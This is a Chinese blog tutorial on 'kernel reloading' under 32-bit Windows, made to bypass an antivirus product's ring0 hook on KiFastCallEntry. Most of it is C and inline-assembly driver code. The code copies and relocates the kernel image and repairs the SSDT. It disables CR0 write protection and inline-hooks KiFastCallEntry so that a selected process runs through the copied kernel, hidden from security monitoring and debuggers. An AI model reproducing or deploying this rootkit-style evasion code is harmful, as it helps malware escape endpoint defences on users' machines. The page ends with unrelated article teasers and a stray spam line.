<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    ring0下使用內核重載繞過殺軟hook

    VSole2022-04-07 15:51:38

    前言

    內核重載聽起來是一個很高大上的概念,但其實跟PE的知識息息相關,那么為什么會有內核重載的出現呢?

    我們知道從ring3進入ring0需要通過int2e/sysenter(syscall)進入ring0,而進入ring0之后又會通過KiFastCallEntry/KiSystemService去找SSDT表對應響應的內核函數,那么殺軟會在這兩個地方進行重點盯防。

    首先是對int2e/sysenter的盯防,我們知道大多數函數都是通過一系列的調用鏈,最終找到ntdll.dll里面的函數,找到調用號后通過int2e/sysenter的方式進入ring0,殺軟首先會hook ntdll.dll來實現監測的效果,這里的話之前已經介紹過了,我們可以通過自己逆向的方式通過匯編定位到int2e/sysenter的地址自己重寫ring3部分的api來達到繞過殺軟的效果

    那么再看ring0,我們知道ring3函數進入ring0之后會去找SSDT表,那么這里就有兩種監測的方式,一種的話直接在KiSystemService/KiFastCallEntry掛個鉤子,因為無論是什么函數,KiSystemService/KiFastCallEntry是必經之路,還有一種的話就是通過hook SSDT表里面的函數,但是那樣的話會很麻煩,所以殺軟一般都是通過前者來實現ring0的監控

    我們這里以某數字殺軟為例,通過匯編代碼的對比,發現某數字殺軟在804de978處更改了一個jmp指令,我們可以看一下前后的對比

    hook前:
        sub esp,ecx
        shr ecx,2
    hook后:
        jmp 867bf958
    

    我們知道要使用Inline hook必須要有5個字節的空間,但是KiFastCallEntry這個函數會有很多寄存器的操作,我們如果隨便挑選5個字節去操作的話很可能會藍屏,我們可以看一下某數字殺軟挑選的hook點。在這個地方不僅能得到ssdt的地址,還能得到ssdt地址總表,更能得到ssdt索引號,也就是在這個地方不僅不用我們進行寄存器的操作避免藍屏,還能夠直接拿到ssdt表的信息,可謂是風水寶地

    那么我們知道了殺軟在ring0的監測原理,我們該如何進行繞過呢?

    這里就可以使用到內核重載,內核重載顧名思義,就是復制一份內核的代碼,當我們復制一份內核的代碼之后,讓程序走我們自己復制的這一份內核代碼,殺軟監控只能監控之前的那份內核代碼,從而繞過ring0的監控

    思路

    復制內核也是有講究的,我們知道內核文件本質上也遵循PE結構,那么PE文件的文件偏移和內存偏移也是我們需要考量的一個點,不能說我們直接將內核文件copy一份就能夠跑起來,這里就需要進行PE的拉伸。那么既然有PE的拉伸,就要涉及到重定位表,我們要想定位到函數,這里肯定就需要進行重定位表的修復

    在PE拉伸完成和修復重定位表過后,我們獲得了一份新的內核,但是這里SSDT因為是直接拿過來的,地址肯定會發生變化,所以這里就需要進行SSDT表的修復

    在上面的一系列操作完成之后,我們就可以進行hook操作,這里我們上面已經分析過KiFastCallEntry的hook方式,我們在同樣的位置設置一個hook即可達到內核重載的效果

    PE拉伸&重定位表修復

    這里我把PE拉伸跟重定位表的修復放到一個函數里面,首先我們要進行打開文件的操作,那么這里就要實現幾個關于文件的函數操作

    主要用到ZwCreateFileZwReadFileExAllocatePoolExFreePool這幾個函數

    // 打開文件
    VOID OpenFile(PHANDLE phFile, PUNICODE_STRING DllName)
    {
        HANDLE hFile = NULL;
        NTSTATUS status = STATUS_SUCCESS;
        IO_STATUS_BLOCK IoStatus;
        OBJECT_ATTRIBUTES FileAttrObject; // 創建文件屬性對象
        // 初始化 OBJECT_ATTRIBUTES 結構體
        InitializeObjectAttributes(&FileAttrObject, DllName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
        status = ZwCreateFile(&hFile, GENERIC_ALL, &FileAttrObject, &IoStatus, NULL,FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
        if (!NT_SUCCESS(status))
        {
            DbgPrint("文件創建不成功");
            return FALSE;
        }
        if (phFile)
        {
            *phFile = hFile;
        }
        return TRUE;
    }
    // 獲取指定文件大小
    ULONG GetFileSize(HANDLE hFile)
    {
        IO_STATUS_BLOCK IoStatus;
        NTSTATUS status = STATUS_SUCCESS;
        FILE_STANDARD_INFORMATION Fileinfo; 
        // 獲取指定文件大小
        status = ZwQueryInformationFile(hFile, &IoStatus, &Fileinfo, sizeof(Fileinfo), FileStandardInformation); 
        if (!NT_SUCCESS(status))
        {
            DbgPrint("文件信息查詢失敗");
            return FALSE;
        }
        return Fileinfo.EndOfFile.LowPart;
    }
    // 讀取文件到內存
    VOID ReadFile(HANDLE hFile, CHAR* Buffer, ULONG readSize)
    {
        IO_STATUS_BLOCK IoStatus;
        NTSTATUS status = STATUS_SUCCESS;
        // 讀取指定文件到內存中
        status = ZwReadFile(hFile, NULL, NULL, NULL, &IoStatus, Buffer, readSize, NULL, NULL);
        if (!NT_SUCCESS(status))
        {
            DbgPrint("文件讀取失敗");
            return FALSE;
        }
    }
    

    那么我們首先讀取文件到內存

        OpenFile(&hFile, DllName);
        FileSize = GetFileSize(hFile);
        szBuffer = (PUCHAR)ExAllocatePool(PagedPool, FileSize);
        ReadFile(hFile, szBuffer, FileSize);
    

    然后進行拉伸PE的操作

    首先判斷是否為PE文件,即4D5A

    if (*(PSHORT)szBuffer == 0x5A4D)
    

    然后定位到NT頭,偏移為0x3c。判斷一下是否為5045,即PE標志

    PUCHAR NTHeader = *(PULONG)(szBuffer + 0x3C) + szBuffer;
    if (*(PULONG)NTHeader == 0x4550)
    

    然后獲取一下可選PE頭里面的SizeOfImageSizeOfHeaders,這里偏移為SizeOfImage的偏移為 0x18+0x38 = 0x50,同理SizeOfHeaders的偏移為0x54

    // 獲取SizeOfImage
    ULONG SizeOfImage = *(PULONG)(NTHeader + 0x50);
    // 獲取SizeOfHeaders
    ULONG SizeOfHeaders = *(PULONG)(NTHeader + 0x54);
    

    然后使用ExAllocatePool申請一塊空間并用MmIsAddressValid判斷是否可用,避免藍屏

    PUCHAR szBufferSize = ExAllocatePool(NonPagedPool, SizeOfImage);
    if (!MmIsAddressValid(szBufferSize))    // 檢驗是否該內存是否有權限操作
    {
        DbgPrint("Memory error");
        return NULL;
    }
    

    那么我們將PE頭拷貝到我們申請的內存空間里面并定義一系列指針指向頭

                // 拷貝PE頭
                RtlCopyMemory(szBufferSize, szBuffer, PEHeaderSize);
                // 獲取NT頭
                PIMAGE_NT_HEADERS NtHeader = (PIMAGE_NT_HEADERS)(((PIMAGE_DOS_HEADER)szBufferSize)->e_lfanew + szBufferSize);
                // 獲取標準PE頭
                PIMAGE_FILE_HEADER FileHeader = &NtHeader->FileHeader;
                // 獲取可選PE頭
                PIMAGE_OPTIONAL_HEADER OptionalHeader = &NtHeader->OptionalHeader;
                // 獲取可選PE頭大小
                ULONG SizeOfOptional = FileHeader->SizeOfOptionalHeader;
                // 獲取節的數量
                SHORT SectionNumber = FileHeader->NumberOfSections;
                // 獲取節表位置
                PUCHAR SectionBaseAddr = (PUCHAR)((PUCHAR)NtHeader + 0x4 + 0x14 + SizeOfOptional);
                PUCHAR pSectionBaseAddr = SectionBaseAddr;
    

    然后進行節表的拷貝,因為我們已經獲取到了節的數量,所以可以直接使用遍歷的方式拷貝,這里我們定義三個變量獲取節中的VirtualAddressSizeOfRawDataPointerToRawData屬性,分別在0xc、0x10、0x14的位置,

                // 拷貝節
                CHAR Name[0x9] = { 0 };
                for (int i = 0; i < SectionNumber; i++)
                {
                    RtlCopyMemory(Name, pSectionBaseAddr, 0x8);
                    DbgPrint(("Name: %s", Name));
                    
                    ULONG PointerToRawData = *(PULONG)(pSectionBaseAddr + 0x14);
                    ULONG SizeOfRawData = *(PULONG)(pSectionBaseAddr + 0x10);
                    ULONG VirtualAddress = *(PULONG)(pSectionBaseAddr + 0xC);
                    RtlCopyMemory(szBufferSize + VirtualAddress, szBuffer + PointerToRawData, SizeOfRawData);
                    pSectionBaseAddr += 0x28; // 下一個節
                }
    

    然后我們再對重定位表進行修復,首先看下重定位表的結構,位于數據目錄項的第6個

    typedef struct _IMAGE_DATA_DIRECTORY {
        DWORD   VirtualAddress;
        DWORD   Size;
    } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
    

    跟導出表相同,VirtualAddress存放的是指向真正重定位表地址的rva,而Size重定位表的大小,通過RVA->FOA在FileBuffer定位后得到真正重定位表的結構如下

    typedef struct _IMAGE_BASE_RELOCATION {
        DWORD   VirtualAddress;
        DWORD   SizeOfBlock;
    } IMAGE_BASE_RELOCATION;
    typedef IMAGE_BASE_RELOCATION ,* PIMAGE_BASE_RELOCATION;
    

    這里的VirtualAddress還是RVA,SizeOfBlock則是重定位表的核心結構,存儲的值以字節為單位,表示的是重定位表的大小,那么如果我們要知道重定位表結構的數量該怎么辦呢?

    這里規定在最后一個結構的VirtualAddress和SizeOfBlock的值都為0,這里就可以進行判斷來獲取重定位表有多少個結構

    我們來看一看直觀的重定位表圖,假設我們這里重定位結構的數量為3,那么在最后8字節即VirtualAddress和SizeOfBlock的值都為0,可以說重定位表就是很多個塊結構所構成的。

    在每一塊結構的VirtualAddress和SizeOfBlock里面,都有很多寬度為2字節的十六進制數據,這里我們稱他們為具體項。在內存中頁大小的值為1000H,即2的12次方,也就是通過這個1000H就能夠表示出一個頁里面所有的偏移地址。而具體項的寬度為16位,頁大小的值為低12位,那么高4位是用來表示什么呢?

    這里高4位只可能有兩種情況,0011或0000,對應的十進制就是3或0。

    當高4位的值為0011的時候,我們需要修復的數據地址就是VirtualAddress + 低12位的值。例如這里我的VirtualAddress是0x12345678,具體項的數值為001100000001,那么這個值就是有意義的,需要修改的RVA = 0x12345678+0x00000001 = 0x12345679。

    當高4位的值為0000的時候,這里就不需要進行重定位的修改,這里的具體項只是用于數據對齊的數據。

    也就是說,我們如果要進行重定位表的修改,就只需要判斷具體項的高4位是否為0011,若是則進行重定位表的修復即可

    實現代碼如下

        KernelBaseRelocation = 
            (PIMAGE_BASE_RELOCATION)(NewKernelImageBase + KernelNtHeaders->OptionalHeader.DataDirectory[5].VirtualAddress);
        while (KernelBaseRelocation->SizeOfBlock != 0 && KernelBaseRelocation->VirtualAddress != 0)
        {
            // 要修改的重定位表的數量
            NumberOfModify = (KernelBaseRelocation->SizeOfBlock - 8) / 2;
            // 得到索引Base的偏移
            BaseAddr = (PSHORT)((ULONG)KernelBaseRelocation + 8);
            while (NumberOfModify--)
            {
                
                //得到Base
                Base = *BaseAddr;
                // 判斷高4位是否為3,若為3則修改
                if (*BaseAddr>>12 == 3)
                {
                    // 清除屬性位
                    Base = Base & 0x0FFF;
                    // 得到要修改全局變量的索引
                    PULONG AddOfModify = (PULONG)(NewKernelImageBase + KernelBaseRelocation->VirtualAddress + Base);
                    *AddOfModify = *AddOfModify - KernelNtHeaders->OptionalHeader.ImageBase + (ULONG)OldKernelImageBase;
                }
                // 得到下一個BaseAddr
                BaseAddr++;
            }
            // 下一個重定位表
            KernelBaseRelocation = (PIMAGE_BASE_RELOCATION)((ULONG)KernelBaseRelocation + KernelBaseRelocation->SizeOfBlock);
        }
    

    SSDT表修復

    因為SSDT結構有多層,所以要分別進行運算。首先確定新SSDT在哪個位置,用導出KeServiceDescriptorTable導出的老內核的SSDT結構,然后用原來的SSDT地址+相對加載地址即可得到新的SSDT地址。

    然后再修正SSDT函數中的地址。方法是在原來的函數地址上+ 相對加載地址,即相對加載地址 = 新內核加載地址 - 老內核加載地址

    PSystemServiceTable KeServiceTable = KeServiceDescriptorTable;  // SSDT
    PSystemServiceTable KeServiceTableShadow = (PSystemServiceTable)((ULONG)KeServiceTable - 0x40); // SSDTShadow
    LONG Offset = (LONG)NewKernelBaseAddr - (LONG)KernelBaseAddr;   // 新SSDT與舊SSDT的相對偏移
    PSystemServiceTable NewKeServiceTable = (PSystemServiceTable)((ULONG)KeServiceTable + Offset);  // 新SSDT地址
    // 修復 FunctionsAddrTable 、 FunctionsArgsAddrTable 、 FunctionsLimit 
    NewKeServiceTable->FunctionsAddrTable = (PULONG)((ULONG)KeServiceTable->FunctionsAddrTable + Offset);   // 函數地址表
    NewKeServiceTable->FunctionsArgsAddrTable = (PUCHAR)(KeServiceTable->FunctionsArgsAddrTable + Offset);  // 函數參數表
    NewKeServiceTable->FunctionsLimit = KeServiceTable->FunctionsLimit; // 服務個數
    

    然后依次遍歷修改

        for (ULONG i = 0; i < NewKeServiceTable->FunctionsLimit; i+++)
        {//新的函數地址再加上相對加載地址,得到現在的ssdt函數地址
           NewKeServiceTable->FunctionsAddrTable[i] += Offset;
        }
    

    hook KiFastCallEntry

    我們在之前已經分析過了hook的地點,那么這里我們直接使用inline hook的方式即可,但是這里只適用于單核環境下,如果是多核情況下發現線程切換的情況下需要使用其他方法來進行hook

    這里我們首先寫一個判斷,如果是我們想要獲得的程序進程就走我們自己重載的內核

    LONG FilterFunc(ULONG ServiceTableBase,ULONG FuncIndex,ULONG OrigFuncAddress)
    {
        if (ServiceTableBase==(ULONG)KeServiceDescriptorTable.ServiceTableBase)
        {//比較當前調用的進程是不是ce
            if (!strcmp((char*)PsGetCurrentProcess()+0x174,"notepad.exe"))
            {
                return pNewSSDT->ServiceTableBase[FuncIndex];
            }
        }
        return OrigFuncAddress;
    }
    

    然后寫一個asm使用匯編語句進行調用FilterFunc

    VOID __declspec(naked) MyFunction()
    {
     __asm
     {
      pushad
      pushfd
     }
     // 測試是否hook成功
     __asm
     {
      push ebx
      push eax
      push edi
      call FilterFunc
     }
     // 修改ebx
     __asm
     {
      mov dword ptr ss : [esp + 0x14] , eax
     }
     __asm
     {
      popfd
      popad
     }
     // 執行原代碼
     __asm
     {
      sub esp, ecx
      shr ecx, 2
     }
     __asm
     {
      jmp RetAddr
     }
    }
    

    然后進行Inline hook,這里有一個注意的點就是頁在默認情況下是只讀的,這里就需要修改cr0寄存器的值來進行讀寫

    // 關閉頁只讀保護
    void _declspec(naked) ShutPageProtect()
    {
        __asm
        {
            push eax;
            mov eax, cr0;
            and eax, ~0x10000;
            mov cr0, eax;
            pop eax;
            ret;
        }
    }
    // 開啟頁只讀保護
    void _declspec(naked) OpenPageProtect()
    {
        __asm
        {
            push eax;
            mov eax, cr0;
            or eax, 0x10000;
            mov cr0, eax;
            pop eax;
            ret;
        }
    }
    

    這里首先定位要hook的地址,利用特征碼搜索的方式,我們首先看下要hook的兩行的硬編碼為2be1c1e902,放到一個數組里面

    UCHAR shell1[] = { 0x2B, 0xE1, 0xC1, 0xE9, 0x02 };
    

    然后為了避免重復的硬編碼,這里再判斷一下80542602這個地方的硬編碼是否匹配,若匹配則證明定位準確,同樣放在數組里面

    UCHAR shell2[] = { 0x8B, 0x1C, 0x87 };
    

    這里寫一個比較字符的函數

    ULONG MyCompareString(PUCHAR string1, PUCHAR string2, ULONG number)
    {
     // 計數
     ULONG i = 0;
     while (number--)
     {
      if (*(string1 + i) == *(string2 + i))
      {
       i++;
      }
      else
      {
       return FALSE;
      }
     }
     return TRUE;
    }
    

    然后進行特征碼的遍歷

     OldKernelImageBase2 = (PUCHAR)OldKernelImageBase;
     OldKernelSizeOfImage2 = OldKernelSizeOfImage;
     
     while (OldKernelSizeOfImage2--)
     {
      if (FALSE == MyCompareString(shell1, OldKernelImageBase2, 5))
      {
       OldKernelImageBase2++;
      }
      else
      {
       OldKernelImageBase2 = OldKernelImageBase2 - 3;
       if (FALSE == MyCompareString(shell2, OldKernelImageBase2, 3))
       {
        OldKernelImageBase2 = OldKernelImageBase2 + 4;
        continue;
       }
       else
       {
        HookAddr = (ULONG)OldKernelImageBase2 + 3;
        DbgPrint("hook_address:%x", HookAddr);
        break;
       }
      }
     }
    

    然后進行hook FastCallEntry的操作

    void HookKiFastCallEntry()
    {
        UCHAR jmp_code[5];
        jmp_code[0]=0xe9;
        
        *(ULONG *)&jmp_code[1]=(ULONG)MyKiFastCallEntry-5-hookaddr;
        
        RetAd = hookaddr + 5;
        ShutPageProtect();
        //inline hook
        RtlCopyMemory((PVOID)addr_hookaddr,jmp_code,5);
        OpenPageProtect();
    }
    

    驅動卸載

    在驅動卸載的地方,我們把原來的硬編碼寫回,這里為了防止多核狀態下的線程切換,直接使用cmpxchg8b指令寫回

    VOID __declspec(naked) _fastcall HookFunction(ULONG destination, ULONG exchange, ULONG compare)
    {
     __asm
     {
      push ebx
      push ebp
      mov ebp, ecx    // destination = ebp
      mov ebx, [edx]  // exchange低4字節
      mov ecx, [edx + 4]  // exchange高4字節
      mov edx, [esp + 8 + 4]  // compare給edx
      mov eax, [edx]
      mov edx, [edx + 4]
      lock cmpxchg8b qword ptr[ebp]
      pop ebp
      pop ebx
      retn 4
     }
    }
    

    實現效果

    這里首先看一下沒有內核重載之前KiFastCallEntry的代碼

    80542605的地方匯編語句為sub esp,ecx

    然后我們加載驅動,看到hook的地址正是80542605

    這里我們再定位到80542605的位置發現已經是我們自己寫的函數

    這里跳轉過去看看,和我們自己寫的MyFunction傳入的匯編代碼是相同的

    我們再去通過KiFastCallEntry定位一下hook點,發現也已經被修改

    這里為了方便查看效果,我用ssdt hook了NtOpenProcess函數,使用ollydbg附加進程可以發現沒有notepad.exe這個進程,這是因為OD走的是原內核,所以在進程列表里面是沒有notepad.exe這個進程

    然后這里卸載驅動

    再去定位到80542605地址處,已經恢復成原匯編指令

    重定位重載函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    知道了殺軟在ring0的監測原理,我們該如何進行繞過呢?
    所以決定在軟件的控制面板的底下添加一個用來顯示當前狀態的文本作為提示,然后也就有了這篇文章。時,我才用的方法時獲取兩次當前的坐標位置,如果坐標位置一樣就說明機器已經處于空閑狀態,否則正在運行。寫了一個簡易版本,測試是否可行。
    crawlergo是一個使用chrome headless模式進行URL收集的瀏覽器爬蟲。它對整個網頁的關鍵位置與DOM渲染階段進行HOOK,自動進行表單填充并提交,配合智能的JS事件觸發,盡可能的收集網站暴露出的入口。內置URL去模塊,過濾掉了大量偽靜態URL,對于大型網站仍保持較快的解析與抓取速度,最后得到高質量的請求結果集合。調研1.
    如果加載器分配的基址和該程序文件記錄默認的ImageBase相同,則不需要修正,定位表對于該dll也是沒有效用的。PE結構PE文件大致可以分為兩部分,即數據管理結構及數據部分。PE頭是固定不變的,位于DOS頭部e_ifanew字段指出位置。節表主要是存儲了何種借的屬性、文件位置、內存位置等。
    也請勿將相關技術用于非法操作,否則責任自負。
    okhttp因其穩定、開源、簡單易用被眾多的app開發人員所使用。okhttp的execute和enqueue分別為發出同步和異步請求,通過對okhttp發起請求的整個流程進行簡單分析就可以快速得到合適的hook點完成對app網絡請求的抓包和溯源。
    Dobby一共兩個功能,其一是inlinehook,其二是指令插樁,兩者原理差不多,主要介紹指令插樁。所謂指令插樁,就是在任意一條指令,進行插樁,執行到這條指令的時候,會去執行我們定義的回調函數
    進程注入的探索
    2022-07-29 08:22:06
    0x01 簡單描述進程注入就是給一個正在運行的程序開辟一塊內存,把shellcode放入內存,然后用一個線程去執行shellcode。
    文中使用的示例代碼可以從 這里 獲取。的功能是在終端打印出hello這6個字符(包括結尾的?編譯它們分別生成libtest.so和?存在嚴重的內存泄露問題,每調用一次say_hello函數,就會泄露1024字節的內存。
    第1步:檢查系統語言 與許多惡意軟件類似,BAZARLOADER會手動檢查系統的語言以避免在其母國開展惡意攻擊。如果語言標識符大于0x43或小于0x18,則將其視為有效,這樣BAZARLOADER才會繼續執行。如果這個互斥對象已經存在,惡意軟件也會自行終止。線程首先嘗試獲取臨界區對象的所有權并檢查是否啟用了創建標志。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类